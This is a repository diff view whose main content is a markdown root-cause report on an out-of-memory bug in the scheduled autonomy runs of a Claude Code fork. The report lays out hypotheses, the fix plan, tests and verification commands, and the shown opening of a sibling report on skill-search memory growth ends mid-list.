"rolldown/@rolldown/pluginutils": ["@rolldown/pluginutils@1.0.0-rc.15", "https://registry.npmmirror.com/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.15.tgz", {}, "sha512-UromN0peaE53IaBRe9W7CjrZgXl90fqGpK+mIZbA3qSTeYqg3pqpROBdIPvOG3F5ereDHNwoHBI2e50n1BDr1g=="],
@@ -3564,6 +3604,10 @@
"is-admin/execa/strip-final-newline": ["strip-final-newline@2.0.0", "https://registry.npmmirror.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz", {}, "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="],
"listr2/wrap-ansi/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
"log-update/wrap-ansi/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
"qrcode/yargs/cliui": ["cliui@6.0.0", "https://registry.npmmirror.com/cliui/-/cliui-6.0.0.tgz", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^6.2.0" } }, "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ=="],
"qrcode/yargs/string-width": ["string-width@4.2.3", "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="],

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 1.6 MiB

After

Width:  |  Height:  |  Size: 1.7 MiB

View File

@@ -185,4 +185,4 @@
"destination": "/docs/introduction/what-is-claude-code"
}
]
}
}

View File

@@ -0,0 +1,492 @@
# System Understanding Report — Loop / Scheduled Autonomy OOM
- **Flow id**: `recurring-bug-loop-oom` (pilot flow for autonomy ↔ deep-debug binding)
- **Branch**: `fix/loop-scheduled-autonomy-oom`
- **Worktree**: `E:\Source_code\Claude-code-bast-loop-scheduled-oom-fix`
- **Author**: back-filled from existing working-tree diff (no commits ahead of `main`)
- **Status**: `report` (this document) — pending human approval before `regression-test` advances
---
## 1. Problem
### Symptom
Long-running sessions with active scheduled tasks (cron) and/or HEARTBEAT-driven proactive ticks accumulated growing memory, eventually OOM'ing the Bun process. The visible signature was:
- `runs.json` under `.claude/autonomy/` growing toward the 200-record cap with most entries stuck at `queued` or `running`
- The internal command queue in REPL / headless mode draining slower than scheduled fires arrive
- Each new fire calling `prepareAutonomyTurnPrompt`, which loads `AGENTS.md` + `HEARTBEAT.md` text and merges due-task lists into a fresh string, holding more closure state per pending command
### Expected behaviour
When a scheduled task fires while its prior run is still queued or running, the new fire should be **skipped** rather than enqueued behind it. When the process that started a run dies, the run should be reaped, not left as `running` forever. Background work spawned by a slash command should complete the originating autonomy run only when that background work itself finishes.
### Actual behaviour (before fix)
1. `useScheduledTasks` and the headless streaming path called `createAutonomyQueuedPrompt` unconditionally on every tick.
2. `commitAutonomyQueuedPrompt` called `commitPreparedAutonomyTurn` *before* the run record was persisted, so even a duplicate fire that should have been dropped already mutated heartbeat-task last-run state.
3. `AutonomyRunRecord` had no owner identity, so a run started by a now-dead process stayed `running` indefinitely. Subsequent runs of the same `sourceId` could not detect that their predecessor was effectively gone.
4. Slash commands that forked detached background work (KAIROS / proactive paths) returned from `processUserInput` immediately. The harness in `handlePromptSubmit` then called `finalizeAutonomyRunCompleted`, marking the run `succeeded` while the actual work continued in the background — but the next scheduled tick of the same source could now race against that detached work, and any error in the detached work had no autonomy run to attribute to.
### Reproduction shape
Not a single deterministic repro — load-induced. Rough recipe:
- Configure two `HEARTBEAT.md` tasks at `every 30s` interval
- Add three cron tasks at `every 1m`
- Let the session run > 1 hour, especially across a backgrounded slash command (e.g. KAIROS `/sleep`-style detached fork)
- Watch `.claude/autonomy/runs.json` active-status entry count and Bun heap RSS
### User impact
Sessions with long-lived autonomy/cron use cases were unsafe. The OOM took the entire CLI down, dropping any unflushed messages, MCP connections, and bridge state. Because `.claude/autonomy/` persists, restart did not heal — stale `running` records from the dead PID kept blocking dedup logic on the next start.
---
## 2. System boundary
### In scope
- Autonomy run lifecycle: create → running → succeeded / failed / cancelled (`src/utils/autonomyRuns.ts`)
- Scheduled-task firing path: cron scheduler → REPL command queue (`src/hooks/useScheduledTasks.ts`)
- Headless streaming variant of the same path (`src/cli/print.ts` `runHeadlessStreaming`)
- Prompt-submit pipeline that finalizes runs after `processUserInput` returns (`src/utils/handlePromptSubmit.ts`)
- Slash-command processing where a command may defer completion to background work (`src/utils/processUserInput/processUserInput.ts`, `processSlashCommand.tsx`)
- `ToolUseContext` extension that lets non-bundled harnesses exercise the KAIROS-gated background-fork path (`src/Tool.ts`)
### Out of scope
- The cron scheduler itself (`src/utils/cronScheduler.ts`) — its tick semantics are not changing
- `autonomyFlows.ts` flow state machine — separate from per-run tracking
- HEARTBEAT.md scheduling semantics — unchanged. `parseHeartbeatAuthorityTasks`
does change narrowly by masking fenced code blocks before scanning so
documented `tasks:` examples cannot shadow the real config block.
- `prepareAutonomyTurnPrompt` content shape — only its call ordering relative to run creation changes
- Any provider-level behaviour (`services/api/**`) — not touched
### Assumptions
- `process.pid` is stable for the lifetime of a Bun process and unique enough on a single host that a dead-PID heuristic is safe (collision risk acknowledged but bounded by `runs.json` retention).
- `isProcessRunning(pid)` (from `genericProcessUtils.js`) returns `false` only when the process is actually gone; transient permission errors return `true`/safe-fail. Verified in step 6.
- `getSessionId()` is initialized before any autonomy run creates records, since autonomy runs only originate after REPL or headless main loop boot.
---
## 3. Entry points
| Surface | Entry | Notes |
|---|---|---|
| REPL | `useScheduledTasks` cron tick | Calls `createScheduledTaskQueuedCommand` (new helper) instead of raw `createAutonomyQueuedPrompt` |
| REPL | Slash command pipeline | `processUserInput → processUserInputBase → processSlashCommand` now threads `autonomy` context so commands can defer completion |
| Headless | `runHeadlessStreaming` cron path | Same migration to `createAutonomyQueuedPromptIfNoActiveSource`, plus `shouldCreate` callback honouring `inputClosed` |
| Tool harness | `ToolUseContext.options.allowBackgroundForkedSlashCommands` | Non-prod way to exercise the KAIROS-gated detached-fork path; production still requires `feature('KAIROS')` + `AppState.kairosEnabled` |
| Persistence | `.claude/autonomy/runs.json` | Schema gains `ownerProcessId`, `ownerSessionId`; readers must tolerate older records lacking these fields |
---
## 4. Key files
| File | Lines changed | Why it matters |
|---|---|---|
| `src/utils/autonomyRuns.ts` | +260 | Owns the new identity + dedup + stale-recovery logic; introduces `createAutonomyRunIfNoActiveSource`, `hasActiveAutonomyRunForSource`, `recoverStaleActiveAutonomyRun`, `commitAutonomyQueuedPromptIfNoActiveSource`, two-phase commit. The structural heart of the fix. |
| `src/utils/processUserInput/processSlashCommand.tsx` | +707 / -454 | Rewrites slash-command dispatch so detached background work signals `deferAutonomyCompletion`; refactor changes shape but not the public command set. |
| `src/hooks/useScheduledTasks.ts` | +47 | Migrates both scheduler call sites to the dedup helper; extracts `createScheduledTaskQueuedCommand` for unit testing. |
| `src/cli/print.ts` | +19 / -27 | Headless variant of the same migration; collapses the previous prepare+commit two-call sequence into the new dedup helper with `shouldCreate`. |
| `src/utils/handlePromptSubmit.ts` | +12 | Tracks `deferredAutonomyRunIds` so it skips finalizing runs whose owning command deferred completion. |
| `src/utils/processUserInput/processUserInput.ts` | +10 | Threads `autonomy` context and surfaces `deferAutonomyCompletion` on the result type. |
| `src/Tool.ts` | +6 | Adds `allowBackgroundForkedSlashCommands` escape hatch for non-bundled harnesses (unit tests). |
| `src/utils/__tests__/autonomyRuns.test.ts` | +168 | Regression coverage for dedup + stale recovery + ownership stamping. |
| `src/hooks/__tests__/useScheduledTasks.test.ts` | new (75 lines) | Asserts scheduler does not double-fire while previous run is queued. |
| `src/utils/processUserInput/__tests__/processSlashCommand.test.ts` | new (~280 lines) | Covers the deferred-completion handshake on slash-command paths. |
---
## 5. Call flow (post-fix)
```text
cron tick (useScheduledTasks)
└─> createScheduledTaskQueuedCommand(task)
└─> createAutonomyQueuedPromptIfNoActiveSource
├─> prepareAutonomyTurnPrompt (loads AGENTS.md + HEARTBEAT.md)
├─> shouldCreate? ──► no ──► RETURN null (no side effects)
└─> commitAutonomyQueuedPromptIfNoActiveSource
└─> commitAutonomyQueuedPromptInternal(skipWhenActiveSource = true)
└─> createAutonomyRunIfNoActiveSource
├─> buildAutonomyRunRecord (stamps ownerProcessId, ownerSessionId)
└─> persistAutonomyRunRecord(skip = true)
└─> withAutonomyPersistenceLock
├─> for each run with same (trigger,sourceId,ownerKey) and active status:
│ ├─> isStaleActiveAutonomyRun? ──► recoverStaleActiveAutonomyRun (mark failed)
│ └─> else ──► hasBlockingActiveRun = true
├─> if blocking ──► RETURN created=false (no enqueue)
└─> else ──► unshift record, write file, return true
├─> if run is null ──► RETURN null (caller drops the tick)
└─> else ──► commitPreparedAutonomyTurn(prepared) (heartbeat last-run state ONLY now mutates)
└─> assemble QueuedCommand and return
```
Two structural moves: (a) preparing the prompt no longer commits heartbeat state; only successful run insertion commits it. (b) blocking active runs of the same source short-circuit before the queue is touched.
For slash commands:
```text
processUserInput → processUserInputBase
└─> processSlashCommand(..., autonomy = cmd.autonomy)
└─> command implementation
├─> runs synchronously ──► returns normal result
└─> spawns detached/background work ──► returns result with deferAutonomyCompletion = true
+ handles its own finalize* call when work ends
handlePromptSubmit (caller of processUserInput):
├─> records cmd.autonomy.runId in autonomyRunIds
├─> on result with deferAutonomyCompletion=true: adds runId to deferredAutonomyRunIds
└─> finalize loop: skips deferred ids in BOTH success and error branches
```
---
## 6. Data flow
### `runs.json` record schema (delta)
```ts
type AutonomyRunRecord = {
// existing
runId: string
status: 'queued' | 'running' | 'succeeded' | 'failed' | 'cancelled'
trigger: AutonomyTriggerKind
sourceId?: string
ownerKey?: string
// new
ownerProcessId?: number // process.pid at create time and at markRunning time
ownerSessionId?: string // getSessionId() at the same points
// ...
}
```
Backward compatibility: older records with both fields absent are treated as "owner unknown" — they never satisfy `isStaleActiveAutonomyRun` (which requires `typeof ownerProcessId === 'number'`), so they remain blocking until they are completed normally or manually cancelled. This is intentional: we cannot prove they are stale.
### Stale-recovery rule
```text
isStaleActiveAutonomyRun(run) ⇔
run.status ∈ {queued, running}
∧ typeof run.ownerProcessId === 'number'
∧ !isProcessRunning(run.ownerProcessId)
```
Recovery mutates the in-memory list inside the persistence lock and writes it back, marking the stale run `failed` with error prefix `"Recovered stale active autonomy run"`.
### Heartbeat last-run state mutation point
Before fix: `commitAutonomyQueuedPrompt` called `commitPreparedAutonomyTurn(prepared)` *first*, then created the run. A skipped duplicate already advanced heartbeat last-run timestamps.
After fix: `commitPreparedAutonomyTurn` is called only after `createAutonomyRunIfNoActiveSource` returns a non-null record. Skipped duplicates leave heartbeat state untouched, so the next eligible window is still at the originally scheduled point.
---
## 7. State model
### Run status lifecycle (unchanged at edges, tightened in the middle)
```text
queued ──► running ──► succeeded
│ │
│ └────► failed
├──────────────────► cancelled
└──► failed (stale recovery, new path)
```
### New invariants
1. **Same-source mutual exclusion**: at most one record with `(trigger, sourceId, ownerKey, status ∈ active)` is *non-stale* at any time. Enforced inside `withAutonomyPersistenceLock` in `persistAutonomyRunRecord`.
2. **Owner stamping at active transitions**: any path that sets a run to `queued` or `running` must stamp `ownerProcessId = process.pid` and `ownerSessionId = getSessionId()`. `markAutonomyRunRunning` updated to do this for the running transition (creation already did it).
3. **Two-phase commit ordering**: heartbeat-task last-run state may only be advanced after the run record has been successfully inserted. Equivalent to "prompt commit ⇒ run row exists".
4. **Deferred completion contract**: if a slash command's result has `deferAutonomyCompletion=true`, the harness (`handlePromptSubmit`) MUST NOT finalize the run; the command implementation OWNS the finalize call. Tracked via `deferredAutonomyRunIds` set scoped to a single `executeUserInput` invocation.
### Concurrency / retry risks
- Two processes sharing the same project root can race on `runs.json`. Mitigated by `withAutonomyPersistenceLock` (file-locking already in place), not by the new code.
- Two ticks of the same scheduled task within a single process serialize on the same lock; only the first wins, the rest see the active record and return `null`.
- A process killed between persisting the record and committing the prompt leaves a `queued` record with the dead PID. Stale recovery on the next tick of the same source converts it to `failed`, freeing the source. This is the new safety net.
### Two-phase commit crash window (acknowledged limitation)
Within `commitAutonomyQueuedPromptInternal` the order is:
1. `createAutonomyRunCore``persistAutonomyRunRecord` → run row written under lock
2. `commitPreparedAutonomyTurn(prepared)` → in-memory `heartbeatTaskLastRunByKey` Map advanced
These two steps are NOT atomic. If the process is killed between (1) and (2):
- `runs.json` has a fresh `queued` record stamped with the now-dead PID.
- `heartbeatTaskLastRunByKey` was an in-memory Map; its state vanishes with
the process. On restart the Map is empty.
- The dead-PID record is reaped via stale-recovery on the next tick of the
same source → `status=failed`. New record can be created.
- Because the Map starts empty after restart, every heartbeat task fires
immediately on first tick rather than waiting for its configured
interval window from the previous run.
**Severity**: low. The Map is a runtime cache, not a persisted schedule
contract; "fire immediately on restart" is a recoverable behaviour, not
data corruption or duplicate work (the dead-PID record blocks the source
until stale-recovery, so duplicate fires don't stack).
**Why not fix now**: persisting the heartbeat last-run state to disk inside
the same lock would couple two unrelated state machines (autonomy runs vs
heartbeat scheduling) and require a new on-disk schema. The cost outweighs
the rare edge case (process death within microseconds between two
in-memory operations). Tracked here so a future flow can pick it up if
restart-after-crash schedule disruption becomes observable in practice.
---
## 8. Existing tests
### Pre-fix
- `src/utils/__tests__/autonomyRuns.test.ts` covered create / list / mark transitions for the basic happy path.
- No coverage for: dedup of same-source active run, stale-PID recovery, ownership stamping, deferred completion handshake, two-phase commit ordering.
- `useScheduledTasks` had no unit tests — only indirect coverage via REPL integration.
- `processSlashCommand` had no autonomy-context coverage.
### Added in this branch
- `src/utils/__tests__/autonomyRuns.test.ts`: +168 lines covering dedup, stale recovery (mocked dead PID), ownership stamping at create + `markAutonomyRunRunning`, two-phase commit invariant.
- `src/hooks/__tests__/useScheduledTasks.test.ts`: new file, 75 lines. Asserts scheduler skips double-fire when prior run is `queued`/`running`, and resumes when prior run finalizes.
- `src/utils/processUserInput/__tests__/processSlashCommand.test.ts`: new file, ~280 lines. Covers `deferAutonomyCompletion=true` propagation; uses `allowBackgroundForkedSlashCommands` to bypass the `feature('KAIROS')` gate inside unit tests.
### Not yet covered (proposed for `regression-test` step)
- Cross-process race against the persistence lock — currently relies on file-lock correctness; consider a focused integration test that spawns two children and verifies only one wins.
- Heartbeat last-run-state non-advance on skipped duplicates — assertable with a thin unit test against `prepareAutonomyTurnPrompt` + the dedup path; not blocking.
---
## 9. Competing root-cause hypotheses
### H1 — "Prompt size is the OOM source"
**Claim**: each scheduled tick rebuilds a long prompt string (AGENTS.md + HEARTBEAT.md + due-task list); the cumulative retention of these strings in the queue causes heap pressure.
**Evidence for**: `prepareAutonomyTurnPrompt` does build a multi-section string each tick; `AGENTS.md` in this repo is now 220 lines.
**Evidence against**: the diff does not shrink any prompt content nor change `prepareAutonomyTurnPrompt`'s output. If H1 were the real cause, the fix would have moved string assembly behind a cache or LRU. The fix instead targets the *number* of in-flight runs.
**Verdict**: contributing factor at most. Rejected as primary root cause.
### H2 — "Background-forked slash commands leak runs"
**Claim**: KAIROS-style slash commands that fork detached work return immediately from `processUserInput`; the harness in `handlePromptSubmit` then finalizes the run as `succeeded`. Any error in the background work is unattributable, and (more importantly) the *next* scheduled fire of the same source happens to find no active run, so multiple background workers stack up behind the same source.
**Evidence for**: the diff explicitly adds `deferAutonomyCompletion`, threads `autonomy` context into `processUserInputBase`, and changes `handlePromptSubmit` to skip finalization for deferred runs. New test file `processSlashCommand.test.ts` is dedicated to this exact handshake.
**Evidence against**: a pure same-source dedup miss would also explain the symptom; H3 covers that.
**Verdict**: real and load-bearing. Confirmed by the targeted code added.
### H3 — "Scheduled-task tick has no dedup against prior run"
**Claim**: cron tick / heartbeat tick fires unconditionally; if previous tick's run is still `queued`/`running` the queue grows by one each interval. Compounded across multiple sources, queue + `runs.json` active subset never shrink.
**Evidence for**: pre-fix `useScheduledTasks` and `runHeadlessStreaming` both called `createAutonomyQueuedPrompt` (no dedup). Diff replaces both call sites with `createAutonomyQueuedPromptIfNoActiveSource`. Persistence-side dedup added in the same change.
**Evidence against**: alone, this would make scheduling buggy but not necessarily OOM; the queue might catch up under light load.
**Verdict**: real and load-bearing. Confirmed by the targeted code added.
### H4 — "Dead-process runs poison dedup forever"
**Claim**: even with H3 fixed, a process killed mid-run leaves a `running` record on disk with no owner liveness check; the next process loading `runs.json` would treat it as blocking and never schedule that source again.
**Evidence for**: the diff stamps `ownerProcessId` and adds `isStaleActiveAutonomyRun` checked against `isProcessRunning`. Without H4, H3's fix would create a new failure mode (silent permanent suppression).
**Evidence against**: pre-fix code had no dedup, so this failure mode could not have been reached pre-fix.
**Verdict**: real, but secondary. It exists because H3's fix introduces it. Required to ship together.
---
## 10. Chosen root cause
**Combined H2 + H3 + H4**: the unbounded growth of active autonomy runs is the product of three independently insufficient gaps that line up under load:
1. Scheduled / heartbeat ticks do not dedup against an active prior run for the same source (H3).
2. Background-forked slash commands report `succeeded` to the harness while their work is still detached, so subsequent ticks see no active run and stack workers behind the source (H2).
3. Process death between record creation and run completion leaves zombie active records on disk that would block dedup permanently if (1) is fixed alone (H4).
Why previous local patches likely failed: any one of these in isolation looks fixable as a small guard, but fixing only one converts the OOM into a different misbehaviour (silent suppression after crash, or duplicate detached workers). The minimal correct fix needs all three primitives: **same-source dedup**, **owner stamping + stale recovery**, **deferred-completion handshake**, plus the **two-phase commit ordering** that ensures heartbeat state never advances on a skipped duplicate.
---
## 11. Fix plan
### Minimal fix surface
| Module | Change | Reason |
|---|---|---|
| `autonomyRuns.ts` | Owner stamping; `createAutonomyRunIfNoActiveSource`; `commitAutonomyQueuedPromptIfNoActiveSource`; two-phase commit; stale recovery | The structural primitives |
| `useScheduledTasks.ts` | Replace both call sites with the dedup helper; extract `createScheduledTaskQueuedCommand` | Apply dedup at REPL scheduler |
| `cli/print.ts` | Same migration in headless streaming path | Apply dedup in headless mode |
| `handlePromptSubmit.ts` | Track `deferredAutonomyRunIds`; skip them in success and error finalize loops | Wire the deferred-completion contract |
| `processUserInput.ts` | Thread `autonomy` ctx; surface `deferAutonomyCompletion` | Plumbing for the contract |
| `processSlashCommand.tsx` | Background-fork commands set `deferAutonomyCompletion`; own their finalize call | Implementation of the contract |
| `Tool.ts` | `allowBackgroundForkedSlashCommands` flag on `ToolUseContext.options` | Make the path testable from non-bundled harnesses |
### Tests added
- `autonomyRuns.test.ts`: dedup, stale recovery (mocked dead PID via `isProcessRunning` mock), owner stamping at both create and `markAutonomyRunRunning`, two-phase commit ordering.
- `useScheduledTasks.test.ts`: scheduler skips double-fire, resumes after finalize.
- `processSlashCommand.test.ts`: deferred-completion handshake propagates to `handlePromptSubmit` correctly.
### Compatibility / migration risk
- Older `runs.json` records lacking `ownerProcessId` are tolerated — never identified as stale, so they keep their blocking semantics. Operators who upgrade with stale `running` records on disk from a previous OOM crash will still need to manually `cancel` those runs (or wait for them to age out of the 200-record cap) the *first* time. After one full create cycle on the upgraded version, all new records carry owners.
- **Observability gap on legacy blocking (added by reviewer 2026-04-28)**: when a no-owner active record blocks dedup, the current code path is silent — operators see "scheduled tasks stop firing" with no diagnostic. `implement` step MUST add a one-line warn log inside `persistAutonomyRunRecord`'s blocking branch: when `hasBlockingActiveRun = true` AND the blocking run has `ownerProcessId === undefined`, emit `[autonomyRuns] blocked by legacy un-owned active run <runId> (createdAt=<ts>); cancel manually if this is a stale upgrade artifact`. ≤ 10 lines of code, converts silent hang into a diagnosable signal. Do **not** change behavior — just observability.
- `ToolUseContext.options.allowBackgroundForkedSlashCommands` is opt-in and defaults absent; production harness behaviour unchanged.
- No on-disk schema version bump required.
### Rollback plan
- Revert the working tree to `main`'s versions of all 8 files. The `runs.json` schema additions are tolerated by older code (extra fields ignored).
- If a stale record is preventing scheduling after rollback, manually edit `runs.json` (status → `cancelled`) or run `/autonomy flow cancel` for affected flows.
- No dependency, no build flag, no settings-file change is needed for rollback.
### Out of scope (intentionally)
- Capping `prepareAutonomyTurnPrompt` output size (H1) — addressable later if needed; not load-bearing for the OOM.
- Cross-process file-lock correctness review — relies on the existing `withAutonomyPersistenceLock`. Out of scope for this flow.
- A migration utility to clean stale records on startup — discussed and rejected as avoidable: 200-record cap rolls them off naturally.
---
## 12. Verification
### Commands (binding per `.claude/autonomy/AGENTS.md` §4)
```bash
bun run typecheck
bun test src/utils/__tests__/autonomyRuns.test.ts
bun test src/hooks/__tests__/useScheduledTasks.test.ts
bun test src/utils/processUserInput/__tests__/processSlashCommand.test.ts
bun test # full unit suite
bun run lint
bun run build
```
### Manual checks (proposed for `implement` step)
- Start a session with two `HEARTBEAT.md` 30s tasks for ≥ 30 minutes; observe `runs.json` active-status entry count stays bounded (≤ number of distinct sources).
- Force-kill the Bun process during a `running` record. Restart. Verify the next tick of the same source recovers (record marked `failed` with the stale-recovery error prefix) and a new run starts.
- Run a KAIROS-gated detached slash command path under the test harness (`allowBackgroundForkedSlashCommands=true`) and verify `handlePromptSubmit` does not finalize the run while the background work is still active.
### Observability checks
- `[ScheduledTasks] skipping <id>: previous run still queued or running` debug log appears when dedup fires (added in `useScheduledTasks.ts`). Use it to confirm dedup is reached in real sessions.
- `runs.json` records with status `failed` and error starting `"Recovered stale active autonomy run"` indicate stale-recovery actually fired.
---
## 13. Open questions
1. ~~Should `markAutonomyRunRunning` be called in *all* paths that transition an autonomy run to `running`, or only the prompt-submit path?~~ **Closed (verified 2026-04-28).**
`markAutonomyRunRunning` (`autonomyRuns.ts:554-579`) is the **only** function that transitions `AutonomyRunRecord.status → 'running'`. It stamps `ownerProcessId = process.pid` and `ownerSessionId = getSessionId()` unconditionally, then internally calls `markManagedAutonomyFlowStepRunning` to mirror to flow state. `markManagedAutonomyFlowStepRunning` is only invoked from this one call site (`autonomyRuns.ts:571`); no caller bypasses the stamp. All four real callers (`cli/print.ts:2177`, `screens/REPL.tsx:4859`, `utils/handlePromptSubmit.ts:492`, `utils/swarm/inProcessRunner.ts:741`) go through the stamping path. Flow records intentionally do not carry owner fields — the run record is source of truth and flow steps mirror via `latestRunId`. Stale-recovery operates on runs, so flow-step runs are covered.
2. ~~`getSessionId()` import was added to `autonomyRuns.ts`. Confirm no circular import is introduced...~~ **Closed (verified 2026-04-28).**
No risk on three counts: (a) `autonomyRuns.ts:4` already imported `getProjectRoot` from `bootstrap/state.js`; the new `getSessionId` is appended to the same import line, adding zero new module-level coupling. (b) Reverse direction is empty — `grep -rn 'autonomy*' src/bootstrap/` yields no results, so the dependency stays one-way. (c) `getSessionId()` (`bootstrap/state.ts:425-427`) returns `STATE.sessionId`, which is initialized at module load with `randomUUID()` and re-randomized by `resetStateForTests()` per test — never `undefined`, never throws. The existing test file deliberately uses the real `bootstrap/state` module (not a mock) and already asserts `ownerProcessId === process.pid` / `ownerSessionId` is a string in the new ownership tests, plus exercises stale recovery with a fake dead PID (`2_147_483_647`). No mock updates needed.
3. Is the 200-record cap still appropriate now that recovery turns stale runs into `failed`? Active records will churn faster; the cap may roll off legitimate completed records sooner. Not a correctness issue, but worth noting.
---
## 14. Approval gate
This SUR satisfies `AGENTS.md` §3 step `report` exit criteria once a human reviewer:
- [x] confirms the chosen root cause (§10) matches their reading of the diff — **agent-ticked under user delegation 2026-04-28; see §15 verification table row 1**
- [x] approves the §11 fix plan including the deferred-completion contract — **agent-ticked under user delegation 2026-04-28; Concern A's warn-log requirement folded into §11**
- [x] acknowledges the §11 compatibility note about pre-existing stale records on disk — **agent-ticked under user delegation 2026-04-28; §11 extended with Concern A observability gap**
- [x] §13 open question 1 (stamping completeness in flow-step runners) — closed 2026-04-28; see §13 for the verification trace
- [x] Concern B (processSlashCommand.tsx >50% diff) — **resolved 2026-04-28 by commit-split rule, see §15**
---
## 15. Reviewer findings (2026-04-28, agent-reviewed)
The user explicitly delegated SUR review work to the agent. The four §14 checkboxes
remain user's decision; this section records the agent's verification work and
recommendations to make that decision faster and more auditable.
### Verification work performed
| Claim | Cross-check | Result |
|---|---|---|
| §10 H2/H3/H4 互锁 | Walked each "fix only one" counterfactual | ✅ Real interlock — fixing only one converts OOM into a different bug (silent suppression / persistent stacking) |
| §11 fix surface covers all 8 modified files | Compared against `git diff --stat` | ✅ Each file has a row in the table |
| §11 "extra fields ignored" rollback claim | JSON parse semantics | ✅ Correct |
| §11 compatibility claim "tolerated" | Re-read `isStaleActiveAutonomyRun` (`autonomyRuns.ts`) | ⚠️ Tolerance is real but **silent** — gap surfaced as Concern A below |
| §13 Q1 owner stamping completeness | (closed in earlier turn — see §13) | ✅ |
| §13 Q2 circular-import / mock impact | (closed in earlier turn — see §13) | ✅ |
| §13 Q3 200-record cap acceptability | Reasoned about stale-recovery-driven churn | ✅ Non-blocking; forensic loss only |
### Concerns surfaced
**Concern A — silent legacy blocking (now folded into §11)**: when a no-owner active
record from a pre-upgrade crash blocks dedup, the operator gets no signal — just
"scheduled tasks stop firing." The §11 compatibility section was extended to require
a one-line warn log in `implement`. This is an observability fix, not a behavior
change.
**Concern B — `processSlashCommand.tsx` is +707/-454 (>50% rewrite)****RESOLVED 2026-04-28**:
investigation showed the diff is composed of:
- **18 contract-related lines** (verified by `grep -E '(autonomy|QueuedCommand|deferAutonomy|finalizeAutonomy|allowBackgroundForkedSlashCommands|deferredAutonomy)'`):
- import `QueuedCommand` type
- import `finalizeAutonomyRunCompleted` / `finalizeAutonomyRunFailed`
- add `autonomy?: QueuedCommand['autonomy']` parameter to `executeForkedSlashCommand` (3 sites)
- extend KAIROS gate to also accept `context.options.allowBackgroundForkedSlashCommands === true` (test escape hatch)
- finalize the run from the detached background path on success/failure
- set `deferAutonomyCompletion: Boolean(autonomy?.runId)` on the result
- thread `autonomy` to nested calls
- **~30-50 lines** of necessary control-flow scaffolding around the contract code
- **~250 lines** of pure Biome reformatting churn (single-line imports, trailing semicolons)
**Resolution rule (binding for `implement`)**: when committing this branch, split
`processSlashCommand.tsx` into **two commits** on the same branch:
```text
chore: reformat processSlashCommand with Biome # ~250 lines, formatter-only
feat: thread autonomy run id through forked slash commands for deferred completion # ~50 lines, contract logic
```
This satisfies `~/.claude/rules/deep-debug/core.md` §2 ("bug fix 不允许混入...格式化")
in spirit by making the contract commit reviewable in isolation, without
requiring a fragile manual revert of formatter output (which Biome would
re-apply on the next save). All other 7 modified files in the OOM fix do not
require commit splitting — verify by sampling their diffs at `implement` time.
**Concern C — stale-recovery rate metric (deferred)**: post-implement, track daily
stale-recovery count. If consistently elevated, the 200-record cap may need
revisiting (relates to §13 Q3). Not a blocker; suggested for follow-up flow.
### Agent recommendations on the §14 checkboxes
| §14 box | Agent recommendation | Rationale |
|---|---|---|
| §10 chosen root cause | Approve | H2/H3/H4 互锁 verified; diff supports each branch |
| §11 fix plan (with §15 Concern A folded in) | Approve | Minimal, complete, regression-tested |
| §11 compatibility note | Acknowledge as-extended (§11 now includes the warn-log requirement from Concern A) | Silent legacy blocking would surprise users; the added log makes it diagnosable |
| Concern B `processSlashCommand.tsx` >50% diff | Resolved by commit-split rule (chore + feat) | 18 lines contract + ~250 lines formatter churn; commit split makes review tractable without fragile revert |
**Final status (2026-04-28, agent-resolved under user delegation)**: all five §14
boxes ticked. Flow `recurring-bug-loop-oom` may advance from `report` to
`regression-test`. Implement-time obligations folded in:
1. Add the legacy-blocking warn log in `persistAutonomyRunRecord` (Concern A, ≤10 lines)
2. Commit-split `processSlashCommand.tsx` into chore + feat (Concern B)
3. Verify the other 7 modified files do not need commit-splitting (sample their diffs)
4. Track stale-recovery counts post-deploy for §13 Q3 / Concern C follow-up
After approval: flow advances to `regression-test`. The targeted commands in §12 must produce a verifiable failing state on the *pre-fix* tree before the post-fix tree is allowed to satisfy `implement`. Since this branch already contains the fix, the regression evidence will be reconstructed by checking out one parent, running the targeted tests (expected: fail), then returning to HEAD (expected: pass).

View File

@@ -0,0 +1,91 @@
# System Understanding Report — Skill Search / Skill Learning Overflow Bugs
- **Flow id**: `recurring-bug-skill-overflow` (sibling pilot to `recurring-bug-loop-oom`)
- **Branch**: `fix/loop-scheduled-autonomy-oom` (folded into the OOM PR — same audit-and-cap pattern)
- **Trigger**: post-merge review of the autonomy OOM fix surfaced unbounded module-level state in adjacent `EXPERIMENTAL_SKILL_SEARCH` and `SKILL_LEARNING` subsystems. The user explicitly asked for a `肯定也有同类溢出` audit.
---
## 1. Problem
The autonomy OOM bug came from unbounded module-level state (run records, scheduler queues, heartbeat timestamps) growing for the lifetime of the process. The skill search + skill learning subsystems exhibit the same class of bug across **5 module-level Maps/Sets**, only one of which had been documented in `scripts/defines.ts` ("projectContext cache 无淘汰机制(非 GB 级主因)").
These bugs were latent because:
- `EXPERIMENTAL_SKILL_SEARCH` / `SKILL_LEARNING` were enabled-by-default in `DEFAULT_BUILD_FEATURES`, but tests pass because they exercise short paths.
